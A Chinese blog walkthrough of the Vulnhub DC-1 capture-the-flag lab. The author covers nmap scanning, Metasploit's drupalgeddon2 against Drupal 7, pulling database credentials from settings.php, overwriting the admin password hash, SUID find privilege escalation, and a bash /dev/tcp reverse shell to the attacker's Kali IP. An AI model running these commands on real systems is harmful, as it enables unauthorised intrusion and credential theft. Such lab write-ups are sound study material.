Vulnhub-DC-1实战靶场

2023-11-17

目录

前言

一. 环境搭建

1.准备工具

2.靶场准备

二. 渗透过程

1. 信息收集

探测目标IP地址

探测目标IP开放端口

网页信息收集

2. 漏洞查找与利用

2.1弱口令

2.2Drupalgeddon2

3. Getshell

3.1交互式shell

3.2flag1

3.3Linux信息收集

4. 数据库渗透

4.1flag2,数据库用户密码

4.2数据库信息收集

5. 用户密码爆破

5.1hash解密(失败)

5.2修改密码(成功),flag3

6. Linux提权

6.1find 指令提权

6.2find命令nc监听反弹shell


前言

一个比较简单的实战靶场,官方要求是找到/root下的flag,所以直接提权即可。但对于学习和训练来说还是太简略了,在打靶场的时候还是全面一些较好。

本次靶场实战涉及信息收集、漏洞查找与利用、getshell、数据库渗透、密码破解、linux提权,并找到官方设计的5个flag。

一. 环境搭建

1.准备工具

虚拟机Kali:IP-192.168.111.129

DC-1靶场机:

官网下载 https://download.vulnhub.com/dc/DC-1.zip

2.靶场准备

更改网络适配器为NAT模式:

二. 渗透过程

1. 信息收集

探测目标IP地址

nmap探测nat网段存活主机:已知kali的IP为192.168.111.129,则得到靶机IP为192.168.111.136。

nmap -sP 192.168.111.0/24

探测目标IP开放端口

使用nmap探测靶机开放端口:可以看到开放22、80、111端口,确定有http服务。

nmap -sS 192.168.111.136

网页信息收集

在kali上访问一下靶机,发现CMS是Drupal版本7.

2. 漏洞查找与利用

2.1弱口令

通过burp测试一下弱口令,爆不出来,而且需要认证,感觉好麻烦,试试cms相关漏洞。

2.2Drupalgeddon2

Searchsploit查一下Drupal7相关漏洞:

(官方指南:Exploit Database SearchSploit Manual

开启msf查找一下可以利用的漏洞:先选择Rank‘excellent’、Check‘Yes’和日期最新的利用,与searchsploit结果对比一下,发现可以选择no.1。

选择drupalgeddon2,设置好session,run执行:成功上线

3. Getshell

3.1交互式shell

python -c ‘import pty;pty.spawn(“/bin/bash”)’

3.2flag1

Shell后先ls一下看看,发现一个flag1.txt:

cat查看一下,大概意思是提示所有cms需要配置文件,所以让我们去找drupal的配置文件。

3.3Linux信息收集

先不急着找配置文件,既然已经进来了就收集一波信息。

1>DNS客户机配置文件(虽然对于这次靶场没啥用)

cat /etc/resolv.conf

2>系统用户配置文件

cat /etc/passwd

哦吼,发现了一个flag4,路径是/home/flag4,那就提前看一下flag4的内容好了:

翻译一下大概是说“用同样的方法找到存在root里的flag”,不明所以,不过应该要求我们提权(一会再搞)。

3>查存储的用户密码信息:没有权限

cat /etc/shadow

4>我是谁:

Whoami/who -a

5>查看进程信息:

发现了mysql进程,一会试试爆库。

ps aux

6>简单看一下刚进来时各个文件夹内都有什么文件:

4. 数据库渗透

4.1flag2,数据库用户密码

简单过一遍linux信息后,回来根据提示去找drupal配置文件。

根据相关链接:

Step 3: Create settings.php and the files directory | Installing Drupal 7 | Drupal Wiki guide on Drupal.org

[译] Docker Workflow(二):存储问题 - 开发者头条

我们可以知道Drupal会在sites/default/files目录下写入各种文件,而default.settings.php为Drupal的样本配置文件,安装时需将其复制并命名为‘settings.php’,所以现在应该去找到这个文件。

首先进入sites/default/files,逛了一圈没有东西:

返回上级目录,发现了settings.php:

查看settings.php文件内容:嘿嘿,找到了flag2,同时还发现了数据库用户及密码。

4.2数据库信息收集

使用刚刚得到的用户密码登录数据库:

查看表信息:发现一个users表

查看users表信息,发现用户密码:

(加密的密码试试破解)

5. 用户密码爆破

5.1hash解密(失败)

先用kali自带的hash工具过一下密码(加盐了没用)

加了盐没办法,不过根据打过的红日3靶场可以试试其他方法,即新建新的用户密码或修改已有的密码。

5.2修改密码(成功),flag3

网上搜一搜drupal修改密码,发现Drupal 7已不再采用Drupal 6和5时代的简单的MD5加密了而是采用了新型的Hash加密方法来确保密码安全。而加密脚本是password-hash.sh。

巧了,之前搜集信息时恰好在scripts目录下发现了该脚本。

当然也可以使用find找一下:

find / -name ‘hash

通过该脚本新设置一个密码‘123456’:

scripts/password-hash.sh ‘123456’> test.txt

再次进入数据库更新一下admin的密码:

update users set pass=’you-password’ where uid=1;

使用admin 123456,登录Drupal:

Home里搜索一下,发现flag3:

6. Linux提权

6.1find 指令提权

首先找一下find路径:

which find

再检查一下find是否有suid权限:

ls -l /usr/bin/find

最后使用find命令执行一下‘whoami’发现是root权限:

touch getroot

find / -type f -name getroot -exec “whoami” \;

6.2find命令nc监听反弹shell

先在kali上开启nc监听:

nc -lvvnp 6666

Msf中执行构建好的find命令:

find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.111.129/6666 0>&1 \;

成功shell上线:(root权限)

在/root中找到最终的flag:

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Vulnhub-DC-1实战靶场 的相关文章

  • 如何调用位于其他目录的Makefile?

    我正在尝试这样做 我想打电话给 make Makefile存在于其他目录中 abc可以使用位于不同目录中的 shell 脚本的路径 我该怎么做呢 由于 shell 脚本不允许我cd进入Makefile目录并执行make 我怎样才能编写she
  • InstaPy:“错误,无法确定 64 位 Linux 的正确文件名”

    有人知道如何解决或解决这个问题吗 来自控制台的堆栈跟踪 执行后报告错误 InstaPy Version 0 6 9 Workspace in use home zanettra InstaPy Error unable to determi
  • 如何让 clangd 转向 c++20

    当没有其他信息时 如何让 clangd 回退到 c 20 例如 在第一次构建之前 cmake 可以生成一个 这是在带有最新 LLVM 的 Arch Linux 上 这是通过 Emacs LSP 运行的 但这应该没有什么区别 你可以加 Com
  • git在Windows和Linux之间切换后强制刷新索引

    我有一个Windows和Linux共享的磁盘分区 格式 NTFS 它包含一个 git 存储库 约 6 7 GB 如果我只使用Windows or 只使用Linux操作 git 存储库一切正常 但是每次切换系统的时候git status命令将
  • 无法安装 WWW::Curl::Easy: SZBALINT/WWW-Curl-4.17.tar.gz : make NO

    我正在尝试在我的 Fedora 26 机器上安装 WWW Curl Easy gcc c I usr include D REENTRANT D GNU SOURCE O2 g pipe Wall Werror format securit
  • 标准头文件中的 C 编译器错误 - 未定义的 C++ 定义

    我正在尝试编译 C 程序 但收到许多错误 这些错误是在标准 C 头文件 inttypes h stdio h stat h 等 中遇到的 错误的来源是以下未定义的常量 BEGIN DECLS END DECLS BEGIN NAMESPAC
  • 在 Ubuntu 16.04 上找不到 printf.c

    我最近切换到Ubuntu 16 04 我在用vscode作为 Ubuntu 上的 IDE 我配置了其他语言 但我无法做到这一点C C 我创建c cpp properties json launch json tasks json 当我开始编
  • Linux shell 脚本:十六进制数字到二进制字符串

    我正在 shell 脚本中寻找一些简单的方法来将十六进制数字转换为 0 和 1 字符的序列 Example 5F gt 01011111 是否有任何命令或简单的方法来完成它 或者我应该为其编写一些开关 echo ibase 16 obase
  • Bash 方法的返回值总是模 256

    我有一个 bash 脚本方法 它返回输入值 然而 返回值始终是模 256 的值 我用 google 搜索了一段时间 发现this http www tldp org LDP abs html exitcodes html文章说它总是以 25
  • 适用于 KDE 和 Gnome 的 Gui [重复]

    这个问题在这里已经有答案了 我想为一个现在是 CLI 的应用程序编写一个 gui 它需要在 KDE 和 Gnome DE 中 看起来不错 充分利用用户的外观设置 如果我选择 Qt 或 GTK 我能够做到这一点吗 它们与两个 DE 集成良好吗
  • 如何查找连接到 AF_INET 套接字的客户端的 UID?

    有什么方法或类似的东西ucred for AF UNIX如果是AF INET插座 TCP在我的例子中 找出连接到我的套接字的客户端的UID 还有 proc net tcp但它显示了UID of the creator插座的而不是连接的cli
  • Linux shell 脚本中的 while 循环超时

    这工作正常 无限循环 while TRUE do printf done 我在尝试着timeout this while loop与timeout命令 所有这些都不起作用 timeout 5 while TRUE do printf don
  • 让 MongoDB 在 Linux 上监听远程连接

    我已在 Windows 本地计算机上 上成功安装 MongoDB 作为服务 但现在我想将 MongoDb 移动到单独的服务器 所以我将 tarball 解压到网络上的虚拟服务器 运行 Linux 当我从本地计算机使用 PuTTY 连接到服务
  • 在 /dev/input/eventX 中写入事件需要哪些命令?

    我正在开发一个android需要将触摸事件发送到 dev input eventX 的应用程序 我知道C执行此类操作的代码结构如下 struct input event struct timeval time unsigned short
  • 在主目录中安装库

    在 Linux Ubuntu 中 我尝试运行一个工具 但它显示错误 库丢失 我无权在系统中安装任何内容 或者根本无法从我的用户帐户执行 sudo 是否可以在我的主目录 没有 sudo 中安装缺少的库 在我的例子中为 libstdc so 6
  • arm-linux-gnueabi 编译器选项

    我在用 ARM Linux gnueabi gcc在 Linux 中为 ARM 处理器编译 C 程序 但是 我不确定它编译的默认 ARM 模式是什么 例如 对于 C 代码 test c unsigned int main return 0x
  • SONAR - 使用 Cobertura 测量代码覆盖率

    我正在使用声纳来测量代码质量 我不知道的一件事是使用 Cobertura 测量代码覆盖率的步骤 我按照以下步骤操作http cobertura sourceforge net anttaskreference html http cober
  • Unix 命令列出包含字符串但*不*包含另一个字符串的文件

    如何递归查看包含一个字符串且不包含另一个字符串的文件列表 另外 我的意思是评估文件的文本 而不是文件名 结论 根据评论 我最终使用了 find name html exec grep lR base maps xargs grep L ba
  • 从 PL/SQL 调用 shell 脚本,但 shell 以 grid 用户而非 oracle 身份执行

    我正在尝试使用 Runtime getRuntime exec 从 Oracle 数据库内部执行 shell 脚本 在 Red Hat 5 5 上运行的 Oracle 11 2 0 4 EE CREATE OR REPLACE proced
  • Elasticsearch 无法写入日志文件

    我想激活 elasticsearch 的日志 当我运行 elasticsearch 二进制文件时 我意识到我在日志记录方面遇到问题 无法加载配置 这是输出 sudo usr share elasticsearch bin elasticse

随机推荐

  • 如何在 Ubuntu 22.04 上使用 Nginx-RTMP 设置视频流服务器

    介绍 流媒体视频有很多用例 服务提供商如Twitch在处理流媒体的网络发现和社区管理方面非常受欢迎 并且免费软件 例如OBS工作室广泛用于实时组合来自多个不同流源的视频叠加 虽然这些平台非常强大 但在某些情况下 您可能希望能够托管不依赖其他
  • 如何在 Debian 11 上安装 MariaDB

    介绍 MariaDB是一个开源关系数据库管理系统 通常用作 MySQL 的替代品 作为流行的数据库部分LAMP Linux Apache MySQL PHP Python Perl 堆栈 它旨在成为 MySQL 的直接替代品 本安装指南的简
  • 如何在 Ubuntu 18.04 上使用 LEMP 安装 WordPress

    介绍 WordPress 是互联网上最流行的 CMS 内容管理系统 它允许您在具有 PHP 处理功能的 MySQL 后端上轻松设置灵活的博客和网站 WordPress 得到了令人难以置信的采用 是快速启动和运行网站的绝佳选择 设置完成后 几
  • 从 Python 列表中获取唯一值

    在这篇文章中 我们将了解从 Python 列表中获取唯一值的 3 种方法 在处理大量原始数据时 我们经常遇到需要从原始输入数据集中提取唯一且不重复的数据集的情况 下面列出的方法将帮助您解决这个问题 让我们开始吧 在 Python 中从列表中
  • 如何在 Ubuntu 14.04 上安装 MySQL

    介绍 MySQL是一个开源数据库管理系统 通常作为流行的一部分安装LAMP Linux Apache MySQL PHP Python Perl 堆栈 它使用关系数据库和 SQL 结构化查询语言 来管理其数据 简短版本的安装很简单 更新您的
  • 如何在 Ubuntu 12.04 上设置 vsftpd

    Status 已弃用 本文介绍不再受支持的 Ubuntu 版本 如果您当前运行的服务器运行 Ubuntu 12 04 我们强烈建议您升级或迁移到受支持的 Ubuntu 版本 升级到Ubuntu 14 04 从 Ubuntu 14 04 升级
  • 图像处理第 5 部分:算术、按位和掩码

    在图像处理系列的第五部分中 我们将详细讨论 Python 中的算术和位运算以及图像掩码 建议以前的文章在开始您的蒙面学习冒险之前 请先完成一遍 设置环境 以下代码行用于下面给出的所有应用程序 我们将把它们包含在这里 这样您就不必阅读大量代码
  • 计算机网络(五)传输层详解

    目录 第五章 传输层 5 1 传输层概述 进程之间的通信 网络层与传输层的区别 传输层的两个主要协议 传输层的端口 TCP IP传输层端口 5 2 UDP UDP需要实现的功能 UDP提供的服务 UDP适合哪些应用 UDP协议的特点 UDP
  • 华为OD机试真题(Java),吃到最多的刚好合适的菜(100%通过+复盘思路)

    一 题目描述 入职后 导师会请你吃饭 你选择了火锅 火锅里会在不同时间下很多菜 不同食材要煮不同的时间 才能变得刚好合适 你希望吃到最多的刚好合适的菜 但你的手速不够快 用m代表手速 每次下手捞菜后至少要过m庙才能在捞 每次只能捞一个 那么
  • umijs + dva + request + js-cookie实现登录

    umijs dva umi request js cookie实现登录 一 在src下创建models文件夹 创建user ts 二 在pages下创建login文件下 组件使用函数创建 三 创建cookie管理文件 和request ts
  • 阿里云dataworks就是个半成品!

    用hadoop EMR 不要用dataworks 不要用dataworks 不要用dataworks 重要的事情说三遍 各种莫名其妙的坑 ip黑盒 工程师无法干涉 傻瓜式无限的提交 发布 点来点去浪费时间 各种bug fuxi错误 完全没有
  • (2023,网络修剪)探索 few-shot 图像生成中的不相容知识迁移

    Exploring Incompatible Knowledge Transfer in Few shot Image Generation 公众号 EDPJ 目录 0 摘要 1 简介 2 相关工作 3 基础 4 FSIG 中不兼容的知识转
  • Mac之zip unzip 命令(压缩)

    https blog csdn net yxys01 article details 73848720 最通俗的用法 zip q r e m o myfile zip someThing 1 q 表示不显示压缩进度状态 r 表示子目录子文件
  • 记录自己开发入职第一天需要干的事情

    拉取代码前的准备工作 安装JDK 数据库本地可视化客户端 如Navicat SQLyog DBeaver Workbench Windows连接linux终端工具 Xshell SecureCRT Putty 下载IDEA 配置IDEA开发
  • adb shell 获取手机分辨率

    使用adb修改屏幕像素密度 此命令针对全志开发板子 adb shell am display density 120 以下命令针对高通的开发板子 获取Android设备屏幕分辨率 adb shell wm size获取android设备屏幕
  • Tomcat简介及优化思路

    Tomcat 处理请求大致流程和架构 请求流程 1 HTTP服务器会把请求信息使 ServletRequest对象封装起来 2 进 步去调 Servlet容器中某个具体的Servlet 3 在 2中 Servlet容器拿到请求后 根据URL
  • 超分辨率重建测试(DASR)

    测试链接 GitHub LongguangWang DASR CVPR 2021 Unsupervised Degradation Representation Learning for Blind Super Resolutionhttp
  • vue3项目实战---知乎日报----项目搭建

    目录 基础框架和响应式布局 项目介绍 接口文档 vue config pagejson 初始化公共样式 vuex模块 路由模块 utils公共类库 axios 二次封装 响应式处理 vant ui组件库 基础框架和响应式布局 项目介绍 知乎
  • 基于VMWare 16虚拟机 CentOS7linux系统SFTP服务器的搭建与数据上载传输

    文章目录 写在前面 1 SFTP协议 2 SFTP服务器搭建 2 1 windows中SFTP服务器搭建 2 2 linux系统的SFTP服务器搭建 2 2 1 通过su命令 进入管理员权限 2 2 2 创建sftp组 2 2 3 创建一个
  • Vulnhub-DC-1实战靶场

    目录 前言 一 环境搭建 1 准备工具 2 靶场准备 二 渗透过程 1 信息收集 探测目标IP地址 探测目标IP开放端口 网页信息收集 2 漏洞查找与利用 2 1弱口令 2 2Drupalgeddon2 3 Getshell 3 1交互式s